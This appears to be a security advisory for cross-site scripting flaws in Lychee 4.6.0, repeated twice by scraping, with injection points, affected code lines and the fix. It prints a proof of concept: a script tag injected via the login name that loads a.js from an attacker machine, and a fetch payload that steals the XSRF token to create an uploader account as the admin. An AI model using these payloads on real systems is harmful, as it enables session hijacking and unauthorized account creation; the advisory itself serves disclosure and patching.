Several XSS were found in Lychee 4.6.0. These vulnerabilities could allow unauthenticated users to to gain logged access to the platform by creating a new account.
While the front-end is on JS, Lychee versioning is tied to composer.
Several XSS were found in Lychee 4.6.0. These vulnerabilities could allow unauthenticated users to to gain logged access to the platform by creating a new account.
One of them was pre authentication. The rest of them required an authenticated user account.
Using the unauthenticated XSS is was possible to create a new user by attempting to log with the non existing user <script src='172.0.0.1/a.js"/>
with the file a.js
containing the following:
fetch('http://172.17.0.2:80/api/User::create',{
// create a POST request to be sent to the lychee instance located at `172.17.0.2`
method: 'POST',
// setup the headers
headers: {
'Content-Type': 'application/json',
'Accept': 'application/json, text/javascript, */*; q=0.01',
//the X-XSRF-TOKEN is retrieve from the cookie store as it is not `HttpOnly`
'X-XSRF-TOKEN': document.cookie.split('=')[1].split('%')[0],
'X-Requested-With': 'XMLHttpRequest',
},
// body of the request containing the payload to create a new user with upload privileges
body: '{"username":"xss_1","password":"xss","may_upload":true,"is_locked":false}'
});
The project choose to fix the vulnerabilities by sanitizing the output and not performing any transformation on the user input..
#324 #325 fix the issues.
None.
Several XSS were found in Lychee 4.6.0. These vulnerabilities could allow unauthenticated users to to gain logged access to the platform by creating a new account.
While the front-end is on JS, Lychee versioning is tied to composer.
Details
Several XSS were found in Lychee 4.6.0. These vulnerabilities could allow unauthenticated users to to gain logged access to the platform by creating a new account.
One of them was pre authentication. The rest of them required an authenticated user account.
Using the unauthenticated XSS is was possible to create a new user by attempting to log with the non existing user
<script src='172.0.0.1/a.js"/>
with the filea.js
containing the following:Once the admin user viewed the "Show logs" page, his browser will request the
a.js
script located on the attackermachine, execute its content, thus sending an HTTP request to create a new user. The admin browser will automatically include its session token and the new user will be created.
Affected location
The insertions point were:
as<script>alert(3)</script>df
. The payload would be triggered when the admin user opened the application logs (/api/Logs::list
). This could also be used as a log injection./api/Settings::updateLogin
). The payload will be triggered:/api/Logs::list
)/api/Sharing::list
)/api/Photo::get
)/api/Album::get
)/api/Photo::get
)The code reflection points are listed below:
Lychee-front/scripts/main/album.js
Line 1047 in d656990
Lychee-front/scripts/main/view.js
Line 79 in 75e260e
Lychee-front/scripts/main/photo.js
Line 348 in b582360
Lychee-front/scripts/main/album.js
Line 1250 in b582360
Patches
The project choose to fix the vulnerabilities by sanitizing the output and not performing any transformation on the user input..
#324 #325 fix the issues.
Workarounds
None.
References
https://owasp.org/www-community/attacks/xss/